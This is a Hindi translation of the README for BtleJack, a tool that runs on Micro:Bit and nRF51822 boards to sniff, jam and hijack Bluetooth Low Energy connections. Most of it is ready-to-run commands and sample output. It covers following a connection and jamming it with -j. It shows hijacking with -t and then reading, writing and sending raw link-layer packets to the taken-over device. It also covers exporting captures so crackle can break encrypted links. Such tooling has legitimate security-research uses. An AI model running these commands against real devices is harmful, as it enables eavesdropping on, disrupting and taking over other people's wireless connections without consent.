
ब्लूटूथ लो एनर्जी स्विस-आर्मी चाकू
BtleJack: एक नया ब्लूटूथ लो एनर्जी स्विस-आर्मी चाकू #######################################################
Btlejack आपको ब्लूटूथ लो एनर्जी उपकरणों को सूँघने, जैम करने और हाईजैक करने के लिए आवश्यक सब कुछ प्रदान करता है। यह एक या अधिक BBC Micro:Bit <http://microbit.org/>_ उपकरणों पर निर्भर करता है जो एक समर्पित फर्मवेयर चलाते हैं। आप एक Adafruit's Bluefruit LE sniffer <https://www.adafruit.com/product/2269>_ या एक nRF51822 Eval Kit <https://www.waveshare.com/wiki/BLE400>_ का भी उपयोग करना चाह सकते हैं, क्योंकि हमने इन उपकरणों के लिए समर्थन जोड़ा है।
इस उपकरण का वर्तमान संस्करण (2.0) BLE 4.x और 5.x का समर्थन करता है। BLE 5.x का समर्थन सीमित है, क्योंकि यह केवल 1Mbps अनकोडेड PHY का समर्थन करता है और चैनल मैप अपडेट का समर्थन नहीं करता है।
आपको एक UNIX आधारित सिस्टम (उदाहरण के लिए एक Raspberry Pi) की आवश्यकता है। यदि आप BBC Micro:Bit का उपयोग करते हैं, तो आपको एक से तीन Micro:Bit उपकरणों (तीन उपकरण अनुशंसित) और प्रत्येक उपकरण के लिए एक मुफ्त USB पोर्ट की आवश्यकता होगी। Micro:Bit की बिजली खपत काफी कम है, इसलिए आप तीन अनुशंसित इकाइयों को बिजली देने के लिए एक एकल USB पोर्ट और एक निष्क्रिय हब का उपयोग कर सकते हैं।
यदि आप एक ही समय में अपने कंप्यूटर पर 3 माइक्रोबिट कनेक्ट करते हैं, तो Btlejack हर विज्ञापन चैनल पर सूँघने में सक्षम होगा और कनेक्शन अनुरोध को पकड़ने की अधिक संभावना होगी।
पहले, Pip के साथ btlejack Python3 क्लाइंट सॉफ़्टवेयर स्थापित करें:
::
$ sudo pip3 install btlejack
फिर, अपने Micro:Bit उपकरण को USB केबल से अपने कंप्यूटर से कनेक्ट करें, संबद्ध मास स्टोरेज डिवाइस को माउंट करें (माउंट पॉइंट में MICROBIT होना चाहिए), और निम्नलिखित कमांड जारी करें:
::
$ btlejack -i
यह आपके कंप्यूटर से जुड़े प्रत्येक Micro:Bit डिवाइस को प्रोग्राम करेगा, और उन्हें Btlejack के साथ उपयोग करने के लिए तैयार करेगा। यह वर्तमान क्लाइंट सॉफ़्टवेयर के लिए सही फर्मवेयर संस्करण का उपयोग करेगा, इसलिए हर बार जब आप Btlejack अपडेट करते हैं तो इस फर्मवेयर स्थापना प्रक्रिया को करने की अत्यधिक अनुशंसा की जाती है।
यदि आप एक Bluefruit LE sniffer या एक nRF51822 Eval Kit का उपयोग कर रहे हैं, तो कृपया अपने डिवाइस को इस फर्मवेयर <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_ के साथ फ्लैश करने के लिए एक बाहरी SWD प्रोग्रामर का उपयोग करें।
अपने डिवाइस को कनेक्टेड रखें और आप सब तैयार हैं!
नोट यह केवल posix संगत सिस्टम पर काम करता है।
Btlejack का उपयोग करना काफी आसान है। Btlejack निम्नलिखित कर सकता है:
Btlejack सामान्यतः कनेक्टेड संगत डिवाइसों का स्वतः पता लगाने और उपयोग करने का प्रयास करता है (फिलहाल केवल Micro:Bit), लेकिन चूंकि फर्मवेयर को हैक या संशोधित किया जा सकता है ताकि अन्य nRF51822-आधारित बोर्डों के साथ काम कर सके, यह इन डिवाइसों के साथ संगतता की अनुमति देने के लिए एक विशिष्ट विकल्प प्रदान करता है।
-d विकल्प आपको Btlejack के साथ एक या अधिक डिवाइस निर्दिष्ट करने देता है। ध्यान दें कि यह विकल्प डिवाइसों का स्वतः पता लगाना अक्षम कर देगा, और आपको जितनी आवश्यकता हो उतने डिवाइस जोड़ने चाहिए:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
पहले, btlejack के साथ लक्षित करने के लिए एक मौजूदा कनेक्शन खोजें:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
पहला मान (dBm में) सिग्नल की शक्ति दर्शाता है, यह मान जितना अधिक होगा, सूँघा गया कनेक्शन उतना ही बेहतर होगा।
दूसरा मान (हेक्स) संबंधित एक्सेस एड्रेस है, एक 32-बिट मान जो दो ब्लूटूथ लो एनर्जी संगत डिवाइसों के बीच एक लिंक की पहचान करता है।
अंतिम मान इस एक्सेस एड्रेस के साथ देखे गए पैकेटों की संख्या है। यह मान जितना अधिक होगा, संबंधित एक्सेस एड्रेस के उपयोग की संभावना उतनी ही अधिक होगी।
फिर, किसी विशिष्ट कनेक्शन का अनुसरण करने के लिए -f विकल्प का उपयोग करें:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
यदि आप 1 से अधिक माइक्रोबिट का उपयोग कर रहे हैं, तो Btlejack कनेक्शन मापदंडों की पुनर्प्राप्ति में तेजी लाने के लिए कुछ सूँघने के कार्यों को समानांतर करेगा!
btlejack द्वारा समर्थित -c विकल्प आपको लक्ष्य BD पता निर्दिष्ट करने देता है, या आप किसी भी नए कनेक्शन को कैप्चर करने के लिए any का उपयोग कर सकते हैं।
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
या आप लक्ष्य BD पता भी निर्दिष्ट कर सकते हैं:
::
$ btlejack -c 03:e1:f0:00:11:22
एक बार किसी कनेक्शन को उसके एक्सेस एड्रेस द्वारा पहचान लिए जाने पर, आप -j विकल्प का उपयोग करके इसे जैम कर सकते हैं:
::
$ btlejack -f 0x129f3244 -j̀
Btlejack एक मौजूदा कनेक्शन को हाईजैक करने में भी सक्षम है, ऐसा करने के लिए -t विकल्प का उपयोग करें। एक बार हाईजैक होने पर, Btlejack आपको एक प्रॉम्प्ट देगा जो आपको हाईजैक किए गए डिवाइस के साथ इंटरैक्ट करने की अनुमति देता है।
पहले, एक मौजूदा कनेक्शन को हाईजैक करें:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
फिर डिवाइस के साथ इंटरैक्ट करने के लिए निम्नलिखित कमांड का उपयोग करें:
discover कमांड ^^^^^^^^^^^^^^^^^^
discover कमांड ब्लूटूथ LE पैकेट भेजेगा और प्राप्त करेगा और सभी सेवा UUID और पैरामीटर, साथ ही विशेषताओं के UUID और पैरामीटर प्राप्त करेगा:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016
Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
read कमांड ^^^^^^^^^^^^^^
read कमांड एक एकल पैरामीटर स्वीकार करता है, वह मान हैंडल जो आप जिस विशेषता से पढ़ना चाहते हैं उसके अनुरूप है:
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
write कमांड ^^^^^^^^^^^^^^^
write कमांड तीन पैरामीटर स्वीकार करता है:
::
btlejack> write
समर्थित डेटा प्रारूप:
hex: हेक्स डेटा (उदा. "414261")str: टेक्स्ट स्ट्रिंग, डबल कोट्स में संलग्न हो सकता हैll कमांड ^^^^^^^^^^^^
यह अंतिम कमांड आपको ब्लूटूथ लो एनर्जी लिंक-लेयर PDU भेजने की अनुमति देता है, हेक्स रूप में, जैसा कि वॉल्यूम 6, भाग B, अध्याय 2.4 में निर्दिष्ट है।
Btlejack की एक दिलचस्प विशेषता कैप्चर किए गए डेटा को PCAP फ़ाइल में निर्यात करने की संभावना है।
Btlejack निम्नलिखित DLT प्रारूपों का समर्थन करता है:
आउटपुट फ़ाइल को -o विकल्प का उपयोग करके निर्दिष्ट किया जा सकता है, जबकि आउटपुट प्रारूप को -x विकल्प के साथ निर्दिष्ट किया जा सकता है। मान्य प्रारूप मान हैं: ll_phdr, nordic, या pcap (डिफ़ॉल्ट)।
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
ll_phdr निर्यात प्रकार एन्क्रिप्टेड कनेक्शन को सूँघते समय उपयोगी होता है, क्योंकि यह crackle <https://github.com/mikeryan/crackle>_ द्वारा भी समर्थित है। इसलिए यदि आप एन्क्रिप्टेड कनेक्शन को सूँघना और तोड़ना चाहते हैं, तो यह जाने का रास्ता है।
आपको crackle को एक विशिष्ट क्रैकिंग रणनीति का उपयोग करने के लिए कहने की भी आवश्यकता हो सकती है, -s विकल्प का उपयोग करके:
::
$ crackle -i some.pcap -s 1
Btlejack एक कनेक्शन कैश का उपयोग करता है ताकि चीजों को थोड़ा तेज करने के लिए कनेक्शन-संबंधित कुछ मान संग्रहीत किए जा सकें। यह कनेक्शन कैश कुछ समस्याएं पैदा कर सकता है, विशेषकर यदि कोई एक्सेस एड्रेस पहले देखा गया हो।
इस कैश को -z विकल्प के साथ फ्लश किया जा सकता है:
::
$ btlejack -z
Btlejack 2.0 एक नया -w विकल्प पेश करता है जो आपको FIFO पथ (मौजूदा या नहीं) निर्दिष्ट करने की अनुमति देता है ताकि पैकेट का लाइव विश्लेषण किया जा सके:
::
$ btlejack -c any -w /tmp/blepipe
आप एक FIFO और एक आउटपुट फ़ाइल एक साथ भी उपयोग कर सकते हैं:
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
यदि आपने पहले USB पर वर्चुअल ईथरनेट (RNDIS) सक्षम किया है, उदा. USB पर Raspberry Pi Zero W सेट अप करने के लिए, तो आपको इसे फिर से अक्षम करना होगा (यानी boot/config.txt से dtoverlay=dwc2 हटाएं और boot/cmdline.txt से modules-load=dwc2,g_ether हटाएं, फिर sudo reboot करें), क्योंकि यह अन्यथा स्निफ़र्स के USB कनेक्शन में हस्तक्षेप करेगा।
यह संस्करण ब्लूटूथ लो एनर्जी संस्करण 5 और 5.1 का समर्थन करता है और विशेष रूप से संस्करण 5 (CSA #2) में पेश किए गए नए चैनल चयन एल्गोरिदम का समर्थन करता है। हालांकि, चूंकि उपयोग किया गया हार्डवेयर संस्करण 5 से जोड़े गए दो नए PHY का समर्थन नहीं करता है, यह केवल 1Mbps अनकोडेड PHY का उपयोग करने वाले कनेक्शनों को सूँघने, जैम करने और संभवतः हाईजैक करने में सक्षम होगा।
कृपया यह भी ध्यान दें कि Btlejack में शामिल CSA #2 का वर्तमान कार्यान्वयन फिलहाल चैनल मैप अपडेट का समर्थन नहीं करता है।
Btlejack स्वचालित रूप से उपयोग किए गए चैनल चयन एल्गोरिदम का पता लगाता है, इसलिए आपको चिंता करने की आवश्यकता नहीं है और हमेशा की तरह पैकेट कैप्चर करें।
एक मौजूदा BLE 5 कनेक्शन (जो 1Mbps अनकोडेड PHY का उपयोग करता है, और केवल इस PHY का) को सूँघना इतना कठिन नहीं है। पहले, आपको यह निर्दिष्ट करना होगा कि आप एक BLE 5 कनेक्शन को लक्षित करना चाहते हैं, -5 विकल्प का उपयोग करके। कृपया ध्यान दें कि यह बताने का कोई तरीका नहीं है कि कोई मौजूदा कनेक्शन CSA #2 या CSA #1 का उपयोग करता है, इसलिए आपको तब तक दोनों तकनीकों का प्रयास करना होगा जब तक एक काम न करे।
::
$ btlejack -f 0x11223344 -5
Btlejack तब उपयोग किए गए चैनल मैप और फिर हॉप अंतराल मान को पुनर्प्राप्त करेगा:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160
यह तब इस कनेक्शन के PRNG काउंटर मान को पुनर्प्राप्त करने का प्रयास करेगा:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...
एक बार हो जाने पर, Btlejack इस कनेक्शन के साथ सिंक्रोनाइज़ हो जाता है और हमेशा की तरह पैकेट संसाधित करेगा।
यहां कुछ भी नया नहीं है, सिवाय इसके कि आपको यह निर्दिष्ट करना होगा कि आप एक BLE 5 कनेक्शन पर हमला कर रहे हैं, -5 विकल्प का उपयोग करके।
कृपया ध्यान दें कि आप क्रमशः -m और -p फ़्लैग का उपयोग करके चैनल मैप और हॉप अंतराल मान भी निर्दिष्ट करके इस हमले को अनुकूलित कर सकते हैं। दोनों प्रदान किए जाने चाहिए, अन्यथा यह काम नहीं करेगा।
मैं इस समय एक BLE 5 कनेक्शन को हाईजैक करने में सफल नहीं हुआ, क्योंकि यह हमला समय-संवेदनशील है। मेरे BLE 5 उपकरण 0 की विलंबता का उपयोग करते हैं, इस प्रकार कोई देरी नहीं होती है और इस हमले के विफल होने का कारण बनता है।
जब मुझे कुछ वैध BLE 5 उपकरण मिलेंगे, तो मैं इसमें सुधार करूंगा।